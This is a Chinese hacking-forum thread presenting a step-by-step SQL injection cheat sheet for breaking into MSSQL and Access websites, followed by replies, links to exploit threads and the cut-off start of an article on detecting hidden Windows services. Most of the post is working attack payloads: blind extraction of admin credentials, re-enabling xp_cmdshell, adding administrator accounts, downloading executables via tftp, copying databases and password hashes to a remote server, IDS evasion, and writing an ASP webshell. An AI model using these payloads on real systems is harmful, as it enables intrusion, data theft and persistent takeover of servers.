返回列表 发帖

入侵网站必备

入侵网站必备* t8 Z& S! x0 y6 A/ k; n# {
判断有无注入点
( ^  h- S2 p! j7 E; and 1=1 and 1=2

) z, |% U, ~' K* E; @2.猜表一般的表的名称无非是admin adminuser user pass password 等.. + J* A3 p& e# R- J' C4 C
and 0<>(select count(*) from *)
( Y- [4 N' n* z4 j/ h, fand 0<>(select count(*) from admin) ---判断是否存在admin这张表
6 R5 B& {* [. B) i
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 8 p! ?( w, @+ F2 h
and 0<(select count(*) from admin) , m3 V8 U' t0 \( [4 |
and 1<(select count(*) from admin)

) s5 `9 n6 m( l+ g7 o" |3 B( i4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. ) b6 j/ f$ S: q  e
and 1=(select count(*) from admin where len(*) >0)--
' K0 ^! O( o7 j. w* ]and 1=(select count(*) from admin where len(用户字段名称name)>0)
; ^% q+ g( j+ Zand 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

7 X$ R3 w; v1 u- D7 L  I5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
( s5 o9 f0 d( P; h; r/ Eand 1=(select count(*) from admin where len(*)>0) 5 v- a0 K& [, S0 M9 j% v* q
and 1=(select count(*) from admin where len(name)>6) 错误
, S% g! w) x! cand 1=(select count(*) from admin where len(name)>5) 正确 长度是6
6 j3 |+ e. W) ~! \; e+ wand 1=(select count(*) from admin where len(name)=6) 正确
, M# e4 ?2 l1 \# ~. h
and 1=(select count(*) from admin where len(password)>11) 正确
" h! `. Q3 ~/ w/ r0 t/ Dand 1=(select count(*) from admin where len(password)>12) 错误 长度是12
8 G6 N4 ?0 |1 X. r5 \and 1=(select count(*) from admin where len(password)=12) 正确

) l) g4 n: }* n. k/ L6.猜解字符
; I/ J: P( z) E( f0 f# c& Nand 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
) e+ z  S! r4 x7 y8 B. X4 q/ C% hand 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
0 R. w* w9 Z1 m$ d" f( h+ g* c* S就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
: `! \- k! I. y1 o! cand 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 3 u5 B! l, d. i" [. l) q4 y+ e
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
& p* b& E! u! \$ ]' b4 B3 |' b
group by users.id having 1=1--
( d& [! C/ M6 `9 L" Qgroup by users.id, users.username, users.password, users.privs having 1= 1-- ( w5 M! F5 q0 E
; insert into users values( 666, attacker, foobar, 0xffff )--

( _3 @  }9 n" I7 c  p; EUNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-   A" k- u/ A+ M2 H
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
. w9 v: C' B5 q' zUNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
. E! w: \6 P9 j% u/ a5 X1 _  jUNION SELECT TOP 1 login_blank> _name FROM logintable-   _- ]  q4 J9 s; G5 K# f
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

! J9 g3 ~5 m  n看_blank>服务器打的补丁=出错了打了SP4补丁 - p5 w) U/ O; ]% s) Y
and 1=(select @@VERSION)--

/ l! O  E6 ^% ^7 \: u2 K1 L看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
# i1 b4 M: n: ^3 Land 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
+ {' |$ s9 L: J& E- `
判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
: l6 f$ O* S: Z& K5 A& L' q2 kand sa=(SELECT System_blank>_user)-- / D  i, W: a% @/ \6 p; ~& H
and user_blank>_name()=dbo-- 3 g! k6 P; [+ I
and 0<>(select user_blank>_name()--
- x& ]3 D* J" k: N
看xp_blank>_cmdshell是否删除 4 p' e) I/ }  U/ D( `  ]
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

8 w2 H2 Q$ x, V# Q" Z5 yxp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
0 l6 T, ~" W, \1 k7 B7 N;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 6 o. a! q. s7 @6 \
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--

2 v0 z6 ?  `8 N* ^$ ~反向PING自己实验 8 @7 Q- h$ ^) M; d5 n: q
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

+ o- V' A/ O0 |) |# f# K) H加帐号
. r! `6 Q" x6 t" c8 j1 I% [, k;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
; Q7 O1 m* a# g2 ]0 Y) Y0 E6 R( W
创建一个虚拟目录E盘: 2 P) A* z4 v2 |% ]% ^" q
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
$ X7 D) _1 P9 O# _
访问属性:(配合写入一个webshell) 1 L+ v" l0 C+ ]6 e. k' ]. B
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

# R: L8 A+ S; q! X5 o; L" J8 I爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 7 ]/ K. f2 D9 S% z8 ]5 E+ v
and 0< >(select top 1 paths from newtable)--

/ e! X* P4 h+ {* B8 Q得到库名(从1到5都是系统的id,6以上才可以判断)
; x" r5 s% q9 O9 E% tand 1=(select name from master.dbo.sysdatabases where dbid=7)--
( A; S3 I' w7 a! sand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 7 H( u9 b- k; j  U5 v
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

2 @+ v3 o% @  G2 M3 Y( O; H0 _2 rand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 6 K, R$ ?; _' W4 ~
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 8 t% S( E7 D) ^6 U
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
) c$ v. N- o. l3 T6 f5 K: V$ uand uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
  s0 o. X: N; u; K5 vand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
5 F. l. p! C; H: E4 R0 Aand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in % p* c- Q/ l. h) Z" S* p3 D' U: ?# H
(id,...)) 来暴出其他的字段
/ G& G9 t) l4 \0 tand 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 6 l1 a/ g" H7 E7 M
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

% Z" w8 v# m9 h% l( wand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 1 v/ @- F& b8 S
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 + |6 V& X; q# e) o! I' B
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
7 e9 h. ^$ w$ `, land 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
/ s1 i) d: d# t$ l4 [: }( Tand 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
2 ]% A  i7 V7 ^8 j5 j' v
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin * U9 \! D: C8 I
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
- W7 v( f% H% r* f% Q
得到WEB路径 2 z% h7 k( c7 ^& \9 }
;create table [dbo].[swap] ([swappass][char](255));-- 7 h0 D5 u  @8 C6 f. m. j
and (select top 1 swappass from swap)=1--
) v- |# U3 a5 q; A- C;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,
[email=values=@test]values=@test[/email] OUTPUT insert into paths (path) values(@test)-- $ j9 P, x/ b8 I
;use ku1;--
' n. t' P7 j8 Z) ^/ [- s& f1 \;create table cmd (str image);-- 建立image类型的表cmd

" a1 X. y  {0 S# X- \存在xp_blank>_cmdshell的测试过程:
* ^: }$ @" m) o5 ~* p;exec master..xp_blank>_cmdshell dir : ]4 ]$ \- d5 Z- o6 Y
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 5 Z4 b5 Z" b* b+ e1 @/ J) G2 h
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- * v0 v) ^% g$ A0 s
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- ! D  K- L1 A- Q9 c0 _3 t
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- : k3 k3 _( U; |, \' B3 w7 I
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
2 D/ g2 N$ k: {; \; ?( mexec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务 ! z3 L0 V" L$ D4 {$ q5 j) Z
exec master..xp_blank>_servicecontrol start, server
" Q$ h3 h% d7 L- q4 V( J3 c1 r5 U; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ( v: j' [# l7 _# H+ m- f
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
9 ?+ e3 I9 j& U  w9 n; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
! T& R- i6 n5 i
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
4 w4 f- T6 X2 D0 O3 H  @( @;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
9 h# y+ A$ X, G& H& ?* p;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat 4 W3 K7 ]7 g# y5 G. }
如果被限制则可以。 & G+ H4 j2 G" z* X" Q
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

8 _. V* D1 c" W0 s& c3 p* a查询构造: : Z: O, n  |$ d4 A
SELECT * FROM news WHERE id=... AND topic=... AND .....   M7 z( x  b, M# z9 \* F' }  n) ]& q( @
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
+ o% r5 h% J; v" `2 c2 Y7 Jselect 123;--
5 Y3 b. ?+ a, U" K* U2 a1 ]' Q;use master;-- 7 ~" |7 h& e, D
:a or name like fff%;-- 显示有一个叫ffff的用户哈。 + O5 k$ S( O. ^. W' r0 T
and 1<>(select count (email) from [user]);-- 5 Y- h9 u- I0 d
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- $ F. r( J* ~+ f3 {
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 2 o6 v4 W8 l, H  ]( _
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
# r7 v/ X' V/ B8 D0 R;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
5 _8 [' F/ m0 b( w2 t;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
1 ~8 ?  Y% j: Y, G! [! a;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- - m% p, t$ E& c, r7 }  C/ N
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 8 _$ l) S* ~% m9 [( v' X4 @8 m/ h
通过查看ffff的用户资料可得第一个用表叫ad
5 L  J% G% G+ e然后根据表名ad得到这个表的ID 得到第二个表的名字

, Y" `3 ?9 A- o3 S4 `7 binsert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
5 r' ^  C9 @0 Winsert into users values( 667,123,123,0xffff)--
( Y$ |5 j# U! b$ ?1 X3 E! Ginsert into users values ( 123, admin--, password, 0xffff)--
0 G/ {2 V) L  m$ L8 `) W;and user>0
. a. k0 D/ b% S+ ]0 t8 O;and (select count(*) from sysobjects)>0 , V+ {' K2 c* K3 K$ X& v% m/ M
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

! Z1 j1 v2 u$ p$ c9 a9 t  b枚举出数据表名
, a# S2 w* z7 Y6 d3 i! F;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
2 R# f7 i* T" Z这是将第一个表名更新到aaa的字段处。 ; o# c! w9 y4 \
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。 3 B" O+ r( o' A7 r2 d' _2 y! r
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
+ X- k' f% U/ p2 d, Q4 X然后id=1552 and exists(select * from aaa where aaa>5)
2 s0 r! ~8 v8 E$ L0 h* B读出第二个表,一个个的读出,直到没有为止。 & J4 x: J0 o& \) h. \% B, _2 X
读字段是这样: & e) j' Y+ l5 A+ r
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));--
! W2 B$ a- E. s8 ~$ O然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 ! T5 x& u3 T4 V3 N
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 7 M7 i/ {. z# t- P' \& t; H3 y
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
+ Z/ u$ m+ p; W
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] & U8 E/ i% s! x+ [0 o6 j
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
# G9 ]# L' \- q5 g通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
% |, p0 A! `( s, x8 m' c* {& h+ ^9 x
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
$ Z4 t0 P2 M" M9 F5 H/ K* q% w) Oupdate 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

" a5 b) Y: |4 G8 |绕过IDS的检测[使用变量] $ ~7 \6 L1 ~& y& S
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 3 V4 b& s* U4 G' J5 |
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

& }/ j9 j' l: N  w6 i1、 开启远程_blank>数据库
5 {7 C( @6 c' j8 ^8 g基本语法 ; U; C+ a' p+ f
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) $ B" @1 I7 ?2 S* q
参数: (1) OLEDB Provider name
% c  C- G6 m; Q. b1 n; o# g0 n2、 其中连接字符串参数可以是任何端口用来连接,比如 + i* B! c) }& p2 z. |9 A
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table ! }+ A3 T" V/ l' c) p
3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

: @6 ]# a* M% ]7 t8 u
6 K! s  d+ z6 H7 S0 x基本语法: $ |1 [* A/ J- m$ M, y4 `2 m8 M
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
* W- ^8 f6 t2 S( T. [这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
* |; M! ~$ Q9 n( R" X9 x. k: vinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2 7 a5 i5 _! ~" m. ^% K& ?
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
6 z) R& N) H& o, \5 Uselect * from master.dbo.sysdatabases ' I) K8 a0 ^2 W: g& D6 V, E( Q
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
5 v5 J8 H5 \$ Vselect * from user_blank> _database.dbo.sysobjects
$ ^6 K0 |6 M% P7 l+ G+ Y  U3 ninsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
; k: L, l5 y- a! V: d$ Bselect * from user_blank> _database.dbo.syscolumns
4 M6 f0 Z1 c$ y2 P# U复制_blank>数据库:
1 f1 o/ F$ E% R6 H. \) cinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 5 O; f& ]. g" w8 H
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
8 h( Y# c8 g8 J7 ]+ ]( c
复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: ; j$ g/ c5 Y2 f3 Q7 g
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
1 @7 M) h4 \" s3 Y$ f得到hash之后,就可以进行暴力破解。

1 _! D0 D- u6 A9 a6 n遍历目录的方法: 先创建一个临时表:temp
7 C( B" |' @. _9 G) F% U;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 c8 K+ Z  H, Q; B" L;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
! s4 x$ a9 E* }6 c3 W6 }3 z" K;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
( }* I# v5 n# l' _/ j* K* y9 T$ g;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
, y+ U/ p$ l4 T' x! w2 q;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
9 Z7 n" W+ S% H9 n. B9 K;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
9 q6 G6 e; U( a9 x& E, Z;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- ; A. |( c( r0 b: r7 m* u
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc   c; {; w0 F1 _' @% N+ {: S
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
- g5 q  b: b0 M5 I( g9 @! ~: O. ]写入表:
8 }+ I6 ]# c  ~语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
4 L$ a: e. E. _; C  L* ^1 @+ P- o语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));-- + d" h6 |0 H. }6 l6 v7 ^4 L
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- ) c6 l# z4 T9 O3 {4 E& @
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 2 _# H5 F, F( y9 [4 N7 m* r
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));--
1 A+ G9 t2 W" z4 e9 y* v5 Z! s语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- # r8 b- T' R6 ~6 S$ s2 W$ e2 U6 N' N- b
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
+ \( u7 y4 H6 ]3 ?, n语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));-- 5 A, p- W1 _! s7 h0 g5 G- Z
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

# i6 ^4 z3 l# V; \把路径写到表中去:   o; t3 h9 f5 M6 A9 X
;create table dirs(paths varchar(100), id int)-- & Q9 r3 V7 H6 r) N1 X1 X
;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- : D- g- Y7 L9 Q9 }8 m8 Z9 K
and 0<>(select top 1 paths from dirs)-- 0 i5 Y# _* m, c
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
! f( ~5 j% I, C) S/ |;create table dirs1(paths varchar(100), id int)--
$ C) K& P% ]# d( ^; x7 p/ @;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- 6 g- z2 _+ b! H! o' _
and 0<>(select top 1 paths from dirs1)--

& B" h* {$ k" F把_blank>数据库备份到网页目录:下载
2 ~- h+ y" N: H9 U. j3 _: q! };declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--

4 ]+ D$ H- R0 F$ V1 w" band 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) - d, C- l0 v! |5 e0 S
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
8 ]' p" t" W7 m* x! h* V' U! l) b; xand 1=(select user_blank>_id from USER_blank>_LOGIN) $ N; u4 E% @- |' K
and 0=(select user from USER_blank>_LOGIN where user>1)
1 G# X! ?- u3 J4 e
-=- wscript.shell example -=-
% e; ^9 J4 g& L& ]1 ?! Edeclare @o int ' l0 n+ F/ V0 ~0 y9 t
exec sp_blank>_oacreate wscript.shell, @o out
$ _* L: r4 {7 x! O* A1 a) Oexec sp_blank>_oamethod @o, run, NULL, notepad.exe
8 U2 E( }: O, i+ O* A7 C9 A9 e; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

& w0 ~$ L0 m# e3 j7 K* |1 tdeclare @o int, @f int, @t int, @ret int
3 y% V7 @1 u( fdeclare @line varchar(8000) % z+ U" `) B! U( p
exec sp_blank>_oacreate scripting.filesystemobject, @o out
; P: x: w$ T# ~, i% Aexec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
, g& F* P7 Q, {! g& s' h" Qexec @ret = sp_blank>_oamethod @f, readline, @line out 7 P2 H9 v+ t& V  }- g; i0 e
while( @ret = 0 ) 4 Y3 T/ a7 f3 o1 @. F/ j
begin
3 ^+ k! K9 y& Pprint @line
- H' ^0 x* L9 A/ b& Uexec @ret = sp_blank>_oamethod @f, readline, @line out % ~7 h3 y! t2 S) q2 n8 f
end

5 ^5 k  ~7 X7 e  c; n+ ^1 q7 Pdeclare @o int, @f int, @t int, @ret int
9 N1 u. [6 S9 f0 i$ E5 l5 uexec sp_blank>_oacreate scripting.filesystemobject, @o out 7 @; C1 H9 b$ u! k# N+ o
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 % o* r" R1 Y5 P6 |
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
8 A- _0 p1 \1 z/ v* d3 _/ [; o<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

8 }4 K+ c$ h7 V* [4 T3 M& ]declare @o int, @ret int
( B& x, O7 L! `5 I3 aexec sp_blank>_oacreate speech.voicetext, @o out 7 v/ B+ @* y/ l  t
exec sp_blank> _oamethod @o, register, NULL, foo, bar
+ |' g3 s* Q! ~; Cexec sp_blank>_oasetproperty @o, speed, 150 5 G4 ]  k# Z! _& ~2 B6 \8 ^0 z7 u) y
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 " V: U0 ~3 y: j, l9 g) a% }2 T9 ~
waitfor delay 00:00:05
8 s  V, X) D+ u2 _' \2 x
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
/ f) g* y& x% }1 G) jxp_blank>_dirtree适用权限PUBLIC
  B2 ]3 [) k# E# w1 Z6 Yexec master.dbo.xp_blank>_dirtree c:\ # T( O- t' y+ e' o+ q) {
返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 : P' g' q3 |/ m  B$ Y6 \
create table dirs(paths varchar(100), id int) # _/ t" R" J+ U* N0 a. `
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 0 D$ _  E; q3 a9 i% k* D" r
insert dirs exec master.dbo.xp_blank>_dirtree c:\ 3 t' p$ Y8 ?' W5 o  w
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果

& r# u  W# t  B" C0 B% |; Q

 

您可能还想看的主题:

华为HG8245后门,远程访问

心海软件学校心理管理系统0DAY集合

网奇CWMS企业网站管理系统1.0-2.0 编辑器漏洞

NWEB System后台取shell漏洞

Phpcms本地包含漏洞/写shell漏洞/任意文件删除漏洞

BEES企业网站管理系统 v1.6 后台取Shell方法

ewebeditor无后台另类拿站

**-Log 1.2 延迟注射漏洞

脚本,数据库入侵

动网8.1最新注入0Day漏洞解析

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

学习中......3 m" f' i9 \! A% A. W$ s# h. L

, E0 o5 Y. n+ P9 V    手工必备

TOP

检测并禁用隐藏服务
隐藏服务的概念是由hxdef 和rootkit这些后门工具提出的。这些后门工具通过挂钩系统本地调用来隐藏自己,原本通过调用Windows API调用查看系统服务的企图都是徒劳的。所以这时的系统是不可靠的,不值得信任的。目前针对查找隐藏服务的工具已经有很多,比如IceSword,knlsc,FHS等等。虽然这些软件都是免费的,但是它们到目前为止都不是开源,所以将自己的实现版本展示出来,正如knlsc的作者所说的那样,这是一个简单的小程序。    Knlsc是通过将%SystemRoot%/System32/Config/System这个Hive文件转储出来,提取出ControlSet001/Services的子项再与RegEnumKeyEx的输出结果进行比对,发现若是在RegEnumKeyEx的输出结果中没有的子项就可以认为是一个隐藏的服务。当然knlsc还认为隐藏服务必须同时拥有ImagePath,Start,Type三个键值。据说knlsc运行时还将从资源段中放出一个驱动程序,但是估计这个驱动是假的。将knlsc托壳后用VC从资源段中导出的文件是一个没有EntryPoint但有MZ标志的驱动,没有办法进行反汇编。或许作者使用了SMC技术,放出资源文件后在进行修改,在执行文件中也有NtLoadDriver的调用片段,但是同一作者的knlps中的资源驱动却未作任何的处理。要实现检测隐藏服务的功能其实没有必要使用驱动程序,即使可以验证knlsc驱动的真实性。直接对Hive文件的转储也不是必须的,虽然这只要通过修改Gary Nebbett的示例代码就可做到。    Hive文件的转储可以通过RegSaveKey函数来进行,rootkitrevealer就是使用这个API的扩充函数RegSaveKeyEx工作的,至少到目前为止还没有挂钩这类函数的后门,但是世上没有永远的安全,在理论上是可行的,可能不得不对该函数的输出文件进行处理,这将在一定程度上影响该函数的执行时间。使用该函数时还必须赋予调用进程以SE_BACKUP_NAME权限。    在实现中将“HKEY_LOCAL_MACHINESYSTEMControlSet001Services"的子项都转储为Hive格式文件(使用DumpServiceInfo函数),存放在C:        mp.hive,在C盘下不可有同名文件,否则会发生Dump错误。现在的问题是如何对Hive格式文件进行处理,在这一点上必须感谢Petter Nordahl-Hagen所写的NT Registry Hive access library,它是The Offline NT Password Editor的一部分。本人的实现很大程度上就是参照他的程序,然而这个库工作在Linux环境,但是它向VC编译器移植的工作量是极少的,只需稍加修改。1.将 #include <unistd.h> 去掉2.将程序中三处的#define 